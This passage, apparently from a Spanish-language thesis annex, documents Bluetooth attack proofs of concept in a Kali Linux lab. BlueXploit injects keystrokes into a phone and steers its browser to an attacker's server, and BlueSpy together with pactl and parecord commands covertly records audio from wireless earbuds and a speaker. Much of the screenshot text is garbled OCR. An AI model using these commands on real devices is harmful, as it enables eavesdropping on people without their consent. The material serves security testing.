File Actions Edit View Help
File Actions Edit View Help

/home/kali/blueXploit
/home/kali/bluexploit/injector

21
21
21

1

BO¥ME S ME™ME & B CRLDERECHA

Figura 97. Ingresar al directorio BlueXploit y ejecutar el script

112



El pardmetro “-i hci0” es el nombre del adaptador bluetooth que tiene la maquina. Para
saber el nombre del adaptador que estamos usando en otra consola podemos ingresar el

siguiente comando para verificarlo:

e hciconfig -a

/home/kali

turing, Audio, Te

Figura 98. hciconfig: para saber el nombre de la interfaz Bluetooth

Una vez inicia la herramienta nos pedira usar algunos de los payloads que se cargaron y
configuraron previamente, para esta prueba se utilizd el payload con el nombre

“payload_3.txt” y lo seleccionamos con el nimero de indice que le corresponde.

7 Kali Linux 2 [Corriendo] - Oracle VirtualBox

(NS 994001505 | Archivo Maquina Ver Entrada Dispositivos  Ayuda
HEmPo-1 23 4|Fg | e © 3 © & & e

roct @ frome/iolifblucKploit

' File Actions Edit View Help
File Actions Edit View Help

/home/kali/bluexploit
/hone/kali/blueXploit/injector

0¥ 3T #WET§E & W CTRLDERECHA

Figura 99. Elegir el payload que contiene la inyeccion de teclas
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Una vez elegimos el payload y presionamos Enter la herramienta comienza a ejecutarse,
las primeras acciones de la herramienta son la de reiniciar el servicio, cambiar el nombre,

la clase, conectarse y emparejarse con el dispositivo victima a través de algunos puertos.

7 Kali Linux 2 [Corriendo] - Oracle VirtualBox

BN = 9900185 | Archivo Maquina Ver Entrada Dispositivos  Ayuda

B EmPor-[ 23 |5

File Actions Edit View Help
File Actions Edit View Help

/hone/kali/bluexploit/injector

/hone/kal4/bluexploit/injector

‘ 0¥ T ¢ MET & & B CRLDERECHA

Figura 100. El script se ejecutarse, se conecta al dispositivo y envia los comandos

Sigue la secuencia de pasos del payload y abre el navegador del teléfono en modo

incdgnito, todo esto sin intervencion del usuario.

$ & %.l774001:15 | Archivo Maquina Ver Entrada Dispositivos Ayuda

BlemP»i|:

File Actions Edit View Help

/home/kali/bluexploit/injector

Estas en modo Incognito

D |

—

B O E ¢ WE T T @B R DERECHA

Figura 101. La secuencia del payload abre el navegador en modo incdgnito
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Se ubica en la barra de busqueda y escribe la direccion IP local del servidor de la maquina

atacante.

7 Kali Linux 2 [Corriendo] - Oracle VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

BlaEmp el

File Actions Edit View Help
File Actions Edit View Help

/home/kali/bluexploit/injector

/home/kali/blueXploit/injector

BOXSI#METE @ M CrLDERECHA

Figura 102. Empieza a escribir la direccion IP en el navegador

Finalmente, al ingresar a la direccion IP se observa el mensaje “si desea descargar el
archivo” y el payload finaliza, ya que asi estaba configurado y debia llegar solo hasta ese

punto.

7 Kali Linux 2 [Corriendo] - Oracle VirtualBox o

Archivo  Méquina Ver Entrada vos Ayuda

BlEmP i 23 7

File Actions Edit View Help

/home/kali/blueXploif

/home/kali/blueXploit

.ﬂ 0¥ 5 ¢ MET & & B CRLDERECHA

Figura 103. Finaliza la ejecucion del script con el payload
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Anexo #6 Prueba de Concepto (PoC): Grabar Audio via Bluetooth

Dispositivo — Audifonos Inalambricos F9

Desde el directorio raiz de Kali Linux, busca el directorio con el nombre de la herramienta

Archivo  Méaquina Ver Entrada Dispositivos  Ayuda
BomP o 1203 4 £
itz -fBlupy

File Actions Edit View Help

total 30452
d

root 4096 May
i kali 4096 May
i kali 4096 May
kali 4096 May
kali 4096 May
i kali 4096 May
i kali 4096 May
i kali 4096 May
kali 6633926 May 16 2 inuxAdditions.run
i kali 4096 May
i kali 8126508 May
i kali 10223660 May
i kali 6094892 May 2
i kali 22560 May bdaddr
root 4096 May
i kali 4096 May
root 4096 May
root 4096 May
kali 1910 May 2 : comandos. txt
root 4096 May
root 4096 May

NNNNN G

ORERRRRNRENN

BlueSpy

~/BlueSpy

BO»ME & ME T E @K CRLDIRECHA

EP 1045
A Sl 25/5/2025

A

Figura 104. Directorio de BlueSpy
Una vez dentro del directorio de BlueSpy, en otra terminal buscar la direccion MAC del

dispositivo, para ello, se puede usar la herramienta bluetoothcl para iniciar un escaneo.

Archivo Méquina Entrada  Dispositive

Bemk»

File Actions Edit View Help
File Actions Edit View Help
~/BlueSpy
otal 44 -
root root 3056 May : BlueSpy.py Agent registered
root root 4288 May README .md
root root 40 May
root root 832 May 123 connect.py C e
root root 3857 May 23 core.py L Ller 101 Discovering: yes
root root 1155 May interface.py 1 2 0:32 F9 .
root root 698 May just_record.py [NEW] D e Amazfit GTS2 mini .
root root 845 May 19 pair.py 3 A 2 Oxffffffch (-53)
root root 4096 May L s xPower: Oxfffffffo (-7)
root root 1262 May system.py
TxPower is nil

RSSI is nil
RSSI is nil

~/BlueSpy

Q Buscar

25/5/2025

Figura 105. Buscar la direccion MAC del dispositivo
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Una vez identificada la direccion MAC, usar esa direccion para inicializar el script, para

ello se usa el comando:

e python3 BlueSpy.py -a <<direccion MAC>>

Archivo  Méaquina Ver Entrada

|1 2

tions Edit View Help

~/BlueSpy
BlueSpy.py

—  00:00:00:00:5AA0

nost recent call last):

onmandValidationException(c

~/Bluespy

BO»ME ¢ ME N E @B CRLDIRECHA

ESP ) 10:50

A
LAA 25/5/2025

Figura 106. Iniciar el script BlueSpy

Para corregir el error que nos da la herramienta al inicio, se debe seguir con el proceso

manualmente, para ello se debe ejecutar el comando que nos sugiere:

Archivo Maquina Ver Entrada Dispositivos  Ayu

authentication with 41:42:56:01:E

] g tion ...
] starting aud rding ...
] Recording!
Traceback (most recent call last):
File

File

File

File , line 35, in
raise CommandvalidationException(cmdline, out)

~/BlueSpy

25/5/2025

Figura 107. Correccion del error de BlueSpy
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Explicacion del comando

Lo que hace comando es cambiar perfil de un dispositivo Bluetooth a modo auricular con

microfono, y preparar el dispositivo para una inyeccion de audio o escucha remota.

e pactl

Es un parametro para interactuar con el servidor de sonido PulseAudio.
e set-card-profile
Establece el perfil de una tarjeta de audio, en este caso un dispositivo de audio.
e bluez card.41l 42 56 01 EO 32
Es el identificador de la tarjeta Bluetooth, donde la direccion MAC del dispositivo esta

adaptado para PulseAudio usando guiones bajos

e headset-head-unit

Activa el perfil de audio, permite que el dispositivo funcione como auricular con
micréfono, usando el perfil HSP/HFP (Headset Profile / Hands-Free Profile), que son

usados para llamadas o comunicacion de voz.

En otra terminal se continua con el proceso, finalmente se utiliza el siguiente comando

para empezar a grabar audio mediante el micréfono del dispositivo:

e parecord -d bluez input.41 42 56 01 EO 32 audio4.wav

, line

se CommandvalidationException(cmdline,

~/BlueSpy
set-card-profile bluez 9_32 dset-head-unit

~/BlueSpy

BOoNS4mETE &0k

5 ESP =
Q Buscar o AN o POD

Figura 108. Inicia el proceso de grabacion
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Figura 109. Dispositivo F9: Audifonos Inalambricos

Explicacion del comando:

El comando comienza a grabar todo el audio que llega desde el micréfono del dispositivo
Bluetooth remoto identificado por la direccion MAC, y lo guarda en el archivo

audio4.wav.
e parecord

Es el parametro para empezar a grabar audio en PulseAudio
e -dbluez input.4l 42 56 01 EO 32

El pardmetro -d indica el dispositivo de entrada y bluez_input.41 42 56 01 _E0 32, es
el nombre interno del dispositivo Bluetooth que actia como microéfono, especificado en

el un formato con guiones bajos para PulseAudio
e audio4.wav

Es el nombre del archivo y el formato de como se guardara el audio grabado.

Después de determinado tiempo de empezar a grabar audio, para detener el proceso se
debe pulsar las teclas “ctrl + ¢” y dependiendo en que ruta ejecutamos el comando
anterior, deberemos buscar el archivo de audio con el nombre que se le asigné, para este

caso el archivo se guard6 en el directorio raiz de Kali Linux.
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Para poder escuchar el audio que se grabd y al mismo tiempo ver el espectro de audio,

utilizamos el programa Audacity, el cual se ejecuta con el siguiente comando:

e audacity audio4.wav

VBoxLinuxAdditions.run

bdaddr

audios.wav [

BONSGsmEMLSOC

=! Q Buscar 4 1 ~ f;i D@D .

Figura 110. Abrir el archivo de audio con Audacity

Cuando se abre el archivo con el programa Audacity podremos repudrirlo y observar el
espectro de audio de archivo, lo que confirma que se grabo correctamente audio a través

del micréfono del dispositivo.

quina Ver Entrada

mPH-| 2

4. @
Audio Setup = gy 5

& Signature Wsnap —
S O e TTIEE CES

BONSFs MO S0

] = ESP =
- Q Buscar 4 SR

Figura 111. Espectro de audio en Audacity - Audifonos F9
120



Dispositivo — Altavoz LG PH1 (15)

Ingresar al directorio donde se encuentra la herramienta BlueSpy, mientras con la interfaz
de Bluetooth de Kali Linux, buscamos la direccion MAC del dispositivo, y con el
siguiente comando activamos el script de la herramienta:

e python3 BlueSpy.py -a 9A:5A:5A:A6:67:15

S

Archivo Méquina Ver Entrada Dispo:

IR R X IaE 4 | @[] O3 ¢ A gB2|ac

File Actions Edit View Help

~/herraminetas/BlueSpy

3 blueman

LG PH1(15)

Select row(s) and use Control + Cto copy Tieadiat
Address 9A:5A:5A:A6:67:15 o 9A:5A:5A:A6:67:15
AddiessType S pulc g Amazfit GTS2 mini
Name LGPH1(15) %
Alias LG PH1(15) — E2DBAA
Class 0x240404 y [TV] Samsung 6 Series (55)
Appearance  0x0000
Icon audio-headset

. Paired no
~/herraminetas/BlueSpy
- I . Trusted no
Blocked no
LegacyPairing no
RSSI -32 dBm (0x-20)
Connected no
0000111e-0000-1000-8000-00805f9b34fb Handsfree
00001108-0000-1000-8000-00805f9b34fb Headset
UUIDs 0000110b-0000-1000-8000-00805f9b34fb Audio Sink
0000110d-0000-1000-8000-00805f9b34fb Advanced Audio
0000110e-0000-1000-8000-00805f9b34fb Remote Control

Adapter Jorg/bluez/hci0
BONT #MEE T G 0 cTRLDERECHA

) a 55 A ® 7 Q) EP

1822
08/06/2025 B

Figura 112. Buscar la direccion MAC e iniciar el script de la herramienta

Figura 113. Dispositivo LG PH1 (15): Altavoz

121



Para corregir el error inicial de la herramienta usar el comando que nos siguiere:

e pactl set-car-profile bluez_card.9A 5A 5A A6 67 15 headset-head-unit

=

Archive Maquina Ver Entrada Dispositivas  Ayuda

EmaPol-| 23 4|®[F] i O % O & @ex|a c

kali@kali: ~/herraminetas/BlueSpy

se ( c
system.CommandValidatiol ption:

~/herraminetas/BlueSpy

ofile bluez_card.9A_5A

BONT @WE T G0 crDER

. 1826
- cca f a
& | O Buscar ) ) A G B s B

Figura 114. Corregir el error de la herramienta

En otra terminal utilizar el siguiente comando para comenzar a grabar audio:

e parecord --device=blues_input.9A 5A 5A A6 67 15 Audio6.wav

=y
Archivo  Maguina Ver Entrada Dispositivas Ayuda
FERaPor]-|1 2 304]|@® O3 HA ges|ac
: kali@kali: ~
File Actions Edit View Help File Actions Edit View Help
R g ~

BONT @WE IS T 6D cRDERECH

A ® 7 Q) ESP

18:28
08/06/2025 E3

Figura 115. Iniciar la grabacion de audio
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Para detener la grabacion usamos “Ctrl + C”, y buscamos el audio en el directorio donde

hayamos guardado el audio.

quina Ver Entrada Dispositivos Ayuda
im0 23 4] i,y O3 ¢ A g8 |a ¢
kali@iali: ~
File Actions Edit View Help

LG PH1(15)
Disconnected

B O & WE S T ¢ TR DERECHA)
18:29

= ¥
ANEGEY B s B

Figura 116. Buscar el archivo de audio en el directorio

Con ayuda del software Audacity podemos abrir el archivo de audio y escuchar lo que se
grabd, para ello usamos el siguiente comando:

e audacity Audio6.wav

Maguina Ver Entrada Dispositivos Ayuda
EmPoO] | 2 3 4|F] . O 3% & A gB30|a c
lali@iali: ~
File Actions Edit View Help
p ali kal

Audio6|.wav

B O)F @ WE LT 6 0 CTR DERECHA)

18:30

~ <
N E G B s 5

Figura 117. Comando para iniciar Audacity
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Cuando el archivo se muestra en el software, se nos muestra el espectro de audio del

archivo, lo que confirma que el uso de la herramienta fue exitoso.

Ld O3 O A g3|ac

Audio6

Effect Analyze Tools Help

: L
o N . o2 QRRaQ R dr
e " AudioSetup :: q,))k
& p 15 30 v as 1:00 115
X Audio6 Tt Audio6
Mute solo | *°
Effects 05
= .
O
i & ([lo0l—1 L , Al oo il ol
O T ™ t T Jo]dpcion e -
-05
1.0
1.0
05
o. | b L 4 l somrispl At Sl
f fo—* ¢ i ol e
-0.5
———
Tempo Time Signature @snap Selection ip T o %
EDICNS O CEEENG SCEEULEEES o S

Playing. Actual Rate: 48000

BONT #WEE ¥ G D cTr DERECHA]

- g o = " 2 o 1831
R | P Buscar *Q_ O m f‘ 0] NG D) BP o eoms =3

Figura 118. Espectro de audio en Audacity - Altavoz LG PH1 (15)

124



